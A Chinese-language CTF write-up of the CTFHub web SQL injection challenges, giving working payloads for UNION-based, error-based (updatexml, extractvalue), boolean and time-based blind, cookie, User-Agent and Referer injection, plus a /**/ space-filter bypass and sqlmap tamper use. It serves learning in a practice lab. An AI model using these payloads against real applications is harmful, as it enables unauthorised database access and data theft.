CTFHUB-技能树-Web-SQL注入
整数型
已经说了是整数型注入了,就直接开始吧
1 order by 1/2/3,当为3时返回页面不一样,所以字段有两个
爆数据库 -1 union select 1,database() ##注:这里用-1是为了‘腾位子’给后面的联合查询
爆表名 -1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
爆列名 -1 union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'
爆字段 -1 union select 1,group_concat(flag)from flag
字符型
爆字段数1' order by 1/2/3 #爆出来依旧是2个
爆数据库
爆表名
爆列名
爆字段名
报错注入
一、updatexml(三个参数):updatexml的报错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串,但是我们第二个参数很明显不是,而是我们想要获得的数据,所以会报错,并且在报错的时候会将其内容显示出来,从而获得我们想要的数据
格式:1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));中间的select语句参考上面的整数或字符型注入
这里显示不了完整的flag,所以要拼接一下:1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1)); 注:mid换成right还差一个反大括号
二、extractvalue(两个参数):原理是和updatexml一样的,只是参数数量不同
格式:1 and/or extractvalue(1,concat(0x7e,(select group_concat(flag) from flag)))
同样需要拼接,参考上面
布尔盲注
原理就是根据字符的ASCII对比,爆出flag的所有字符,手工注入不是人干的事啊
比较出database的长度
然后逐个比较出每个字符的ascii值(列举一个)
。。。(省略)
然后就是表数
表名
列数
列名
flag
这里还是用sqlmap跑一下,手工注入旨在理解原理,sqlmap可以提高效率
sqlmap使用的时候如果第一次没跑出来可以多试几次,有可能是题目服务器的问题
爆数据库
爆表名
爆列名
爆flag字段
时间盲注
原理就是跟据页面返回的时间来判断命令的执行结果
格式:1 and if(payload,sleep(3),1),如果payload执行成功则暂停3秒,否则直接执行,也就是说如果执行成功回显页面会很慢,反之就直接回显页面
payload参数参考上面的布尔盲注
然后同样用sqlmap做,命令和上面的一样,这里再贴上一个大佬的脚本https://www.cnblogs.com/anweilx/p/12485726.html
Cookie注入
原理和整数型注入是一样的,两种方法,一是可以直接F12修改cookie值,二是抓包修改重发
UA注入
emm,注入点是User-Agent,其余同上,直接抓包重发
Refer注入
注入点是referer,其余同上
过滤空格
先试一下带空格的,发现被过滤
绕过姿势,用/**/替换空格////补充:information_schema被过滤可以用sys.x$schema_flattened_keys替换
其余同整数型注入
这里再提一下用sql注入这类过滤某字符的用法,正常用是注不了的,所以就需要一下tamper.py里面的脚本,其实就是替换字符,注意这个是下载sqlmap包里就有的
在原本的sqlmap的命令后面加上 --tamper "space2comment.py(脚本名)"即可
参考自https://www.cnblogs.com/mark0/p/12349551.html
更改等级可以看到payload!!记录一下